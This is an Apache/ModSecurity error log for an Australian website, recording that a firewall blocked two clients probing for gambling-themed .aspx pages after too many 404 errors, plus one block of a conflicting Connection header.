[Fri Apr 17 21:18:08.225349 2026] [:error] [pid 25010:tid 25023] [client 149.224.136.169:63602] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeIzEI-7kkf42RarqQ17-wAAAUo"]
[Fri Apr 17 21:18:11.362043 2026] [:error] [pid 34273:tid 34292] [client 149.224.136.169:61974] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeIzE2uQDW686mK3dgEMdwAAAZE"]
[Fri Apr 17 21:18:15.253661 2026] [:error] [pid 9263:tid 9278] [client 149.224.136.169:63489] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeIzFxP68VyHNvj1e55HVgAAAM0"]
[Fri Apr 17 21:18:18.033775 2026] [:error] [pid 9153:tid 9223] [client 149.224.136.169:60389] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeIzGuMHGxkTZX3c45cO7QAAAIU"]
[Fri Apr 17 21:18:20.744932 2026] [:error] [pid 9152:tid 9214] [client 149.224.136.169:60924] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeIzHJJYca8I3TNCwIdmFgAAAFg"]
[Fri Apr 17 21:18:23.473296 2026] [:error] [pid 51878:tid 51881] [client 149.224.136.169:61730] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeIzH0nQhUtMbw9Esgag_QAAAQE"]
[Fri Apr 17 21:18:26.347873 2026] [:error] [pid 9263:tid 9279] [client 149.224.136.169:62158] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeIzIhP68VyHNvj1e55HcgAAAM4"]
[Fri Apr 17 21:18:29.165480 2026] [:error] [pid 51878:tid 51896] [client 149.224.136.169:59481] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeIzJUnQhUtMbw9EsgahFgAAARA"]
[Fri Apr 17 21:19:03.893288 2026] [:error] [pid 51878:tid 51884] [client 149.224.136.169:59275] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aeIzR0nQhUtMbw9EsgahpgAAAQQ"]
[Fri Apr 17 21:19:06.724736 2026] [:error] [pid 51878:tid 51901] [client 149.224.136.169:59881] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aeIzSknQhUtMbw9EsgahsgAAARU"]
[Fri Apr 17 21:19:09.745381 2026] [:error] [pid 51878:tid 51903] [client 149.224.136.169:60830] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aeIzTUnQhUtMbw9EsgahwwAAARc"]
[Fri Apr 17 21:19:13.149920 2026] [:error] [pid 9152:tid 9214] [client 149.224.136.169:60423] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aeIzUZJYca8I3TNCwIdmkwAAAFg"]
[Fri Apr 17 21:19:15.818978 2026] [:error] [pid 61523:tid 61548] [client 149.224.136.169:62797] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeIzU8OaH-Pgc7WEf4PYxAAAAcY"]
[Fri Apr 17 21:19:18.835833 2026] [:error] [pid 9263:tid 9269] [client 149.224.136.169:61719] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeIzVhP68VyHNvj1e55H-AAAAMQ"]
[Fri Apr 17 21:19:21.604027 2026] [:error] [pid 9152:tid 9203] [client 149.224.136.169:61951] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aeIzWZJYca8I3TNCwIdmoQAAAE0"]
[Fri Apr 17 21:19:24.366055 2026] [:error] [pid 9152:tid 9201] [client 149.224.136.169:60729] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeIzXJJYca8I3TNCwIdmpwAAAEs"]
[Fri Apr 17 21:19:27.290441 2026] [:error] [pid 51878:tid 51881] [client 149.224.136.169:62576] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeIzX0nQhUtMbw9Esgah_AAAAQE"]
[Fri Apr 17 21:19:30.911180 2026] [:error] [pid 9263:tid 9287] [client 149.224.136.169:63027] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeIzYhP68VyHNvj1e55IYAAAANY"]
[Fri Apr 17 21:19:33.621219 2026] [:error] [pid 51878:tid 51899] [client 149.224.136.169:62802] [client 149.224.136.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeIzZUnQhUtMbw9EsgaiEQAAARM"]
[Sat Apr 18 00:13:48.902388 2026] [:error] [pid 59136:tid 59154] [client 147.135.252.145:56142] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeJcPCaoiUyiIR3EhLWavQAAAM8"]
[Sat Apr 18 00:13:51.354790 2026] [:error] [pid 59136:tid 59148] [client 147.135.252.145:59320] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeJcPyaoiUyiIR3EhLWawwAAAMk"]
[Sat Apr 18 00:13:53.847392 2026] [:error] [pid 59136:tid 59142] [client 147.135.252.145:59324] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeJcQSaoiUyiIR3EhLWazAAAAMM"]
[Sat Apr 18 00:13:56.227408 2026] [:error] [pid 59043:tid 59095] [client 147.135.252.145:59328] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeJcRIRtUGE9SfUh2wz-wQAAAFU"]
[Sat Apr 18 00:13:58.732354 2026] [:error] [pid 59136:tid 59151] [client 147.135.252.145:59340] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeJcRiaoiUyiIR3EhLWa-AAAAMw"]
[Sat Apr 18 00:14:01.114799 2026] [:error] [pid 59136:tid 59159] [client 147.135.252.145:59342] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeJcSSaoiUyiIR3EhLWbAwAAANQ"]
[Sat Apr 18 00:14:03.576001 2026] [:error] [pid 59136:tid 59142] [client 147.135.252.145:53968] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeJcSyaoiUyiIR3EhLWbDwAAAMM"]
[Sat Apr 18 00:14:06.007933 2026] [:error] [pid 59042:tid 59068] [client 147.135.252.145:53978] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeJcTp6p5oql0UklEBIeHwAAABU"]
[Sat Apr 18 00:14:08.470487 2026] [:error] [pid 59044:tid 59118] [client 147.135.252.145:53984] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeJcUAFamkFyEtD_SMGkpgAAAJE"]
[Sat Apr 18 00:14:10.855599 2026] [:error] [pid 59136:tid 59162] [client 147.135.252.145:54000] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeJcUiaoiUyiIR3EhLWbLQAAANc"]
[Sat Apr 18 00:14:13.342133 2026] [:error] [pid 59044:tid 59112] [client 147.135.252.145:52492] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeJcVQFamkFyEtD_SMGkuwAAAIs"]
[Sat Apr 18 00:14:15.706678 2026] [:error] [pid 59044:tid 59105] [client 147.135.252.145:52498] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeJcVwFamkFyEtD_SMGkvgAAAIQ"]
[Sat Apr 18 00:14:18.336340 2026] [:error] [pid 59136:tid 59153] [client 147.135.252.145:52504] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeJcWiaoiUyiIR3EhLWbQgAAAM4"]
[Sat Apr 18 00:14:20.763363 2026] [:error] [pid 59136:tid 59163] [client 147.135.252.145:52512] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeJcXCaoiUyiIR3EhLWbVQAAANg"]
[Sat Apr 18 00:14:23.260894 2026] [:error] [pid 59043:tid 59082] [client 147.135.252.145:36532] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeJcX4RtUGE9SfUh2wz-_QAAAEg"]
[Sat Apr 18 00:14:25.683585 2026] [:error] [pid 59136:tid 59154] [client 147.135.252.145:36540] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeJcYSaoiUyiIR3EhLWbbAAAAM8"]
[Sat Apr 18 00:14:28.055595 2026] [:error] [pid 59136:tid 59143] [client 147.135.252.145:36556] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeJcZCaoiUyiIR3EhLWbeAAAAMQ"]
[Sat Apr 18 00:14:30.698887 2026] [:error] [pid 59042:tid 59057] [client 147.135.252.145:36564] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeJcZp6p5oql0UklEBIeaAAAAAo"]
[Sat Apr 18 00:14:33.110789 2026] [:error] [pid 59136:tid 59156] [client 147.135.252.145:51770] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeJcaSaoiUyiIR3EhLWbgQAAANE"]
[Sat Apr 18 00:14:35.503146 2026] [:error] [pid 59042:tid 59069] [client 147.135.252.145:51776] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeJca56p5oql0UklEBIehwAAABY"]
[Sat Apr 18 00:14:37.880556 2026] [:error] [pid 59042:tid 59058] [client 147.135.252.145:51786] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeJcbZ6p5oql0UklEBIelAAAAAs"]
[Sat Apr 18 00:14:44.805262 2026] [:error] [pid 59044:tid 59118] [client 147.135.252.145:57878] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeJcdAFamkFyEtD_SMGlAQAAAJE"]
[Sat Apr 18 00:15:12.410987 2026] [:error] [pid 59042:tid 59056] [client 147.135.252.145:36074] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aeJckJ6p5oql0UklEBIfUAAAAAk"]
[Sat Apr 18 00:15:15.066348 2026] [:error] [pid 59044:tid 59107] [client 147.135.252.145:41564] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aeJckwFamkFyEtD_SMGlUwAAAIY"]
[Sat Apr 18 00:15:47.036796 2026] [:error] [pid 59044:tid 59125] [client 147.135.252.145:54308] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeJcswFamkFyEtD_SMGlzwAAAJg"]
[Sat Apr 18 00:15:49.524051 2026] [:error] [pid 59043:tid 59083] [client 147.135.252.145:54324] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeJctYRtUGE9SfUh2wz_wgAAAEk"]
[Sat Apr 18 00:15:51.954143 2026] [:error] [pid 59044:tid 59113] [client 147.135.252.145:56798] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeJctwFamkFyEtD_SMGl4AAAAIw"]
[Sat Apr 18 00:15:54.420147 2026] [:error] [pid 59042:tid 59069] [client 147.135.252.145:56800] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeJcup6p5oql0UklEBIgbQAAABY"]
[Sat Apr 18 00:15:56.798446 2026] [:error] [pid 59136:tid 59160] [client 147.135.252.145:56806] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeJcvCaoiUyiIR3EhLWclgAAANU"]
[Sat Apr 18 00:15:59.267607 2026] [:error] [pid 59044:tid 59118] [client 147.135.252.145:56808] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeJcvwFamkFyEtD_SMGl6gAAAJE"]
[Sat Apr 18 00:16:01.616374 2026] [:error] [pid 59043:tid 59087] [client 147.135.252.145:52350] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeJcwYRtUGE9SfUh2wz_2QAAAE0"]
[Sat Apr 18 00:16:03.943527 2026] [:error] [pid 59043:tid 59089] [client 147.135.252.145:52356] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeJcw4RtUGE9SfUh2wz_3AAAAE8"]
[Sat Apr 18 00:16:06.297307 2026] [:error] [pid 59136:tid 59153] [client 147.135.252.145:52364] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeJcxiaoiUyiIR3EhLWcwwAAAM4"]
[Sat Apr 18 00:16:08.791475 2026] [:error] [pid 59044:tid 59114] [client 147.135.252.145:52380] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeJcyAFamkFyEtD_SMGmFAAAAI0"]
[Sat Apr 18 00:32:43.348673 2026] [:error] [pid 59044:tid 59111] [client 192.144.148.122:49094] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeJgqwFamkFyEtD_SMGvGQAAAIo"]
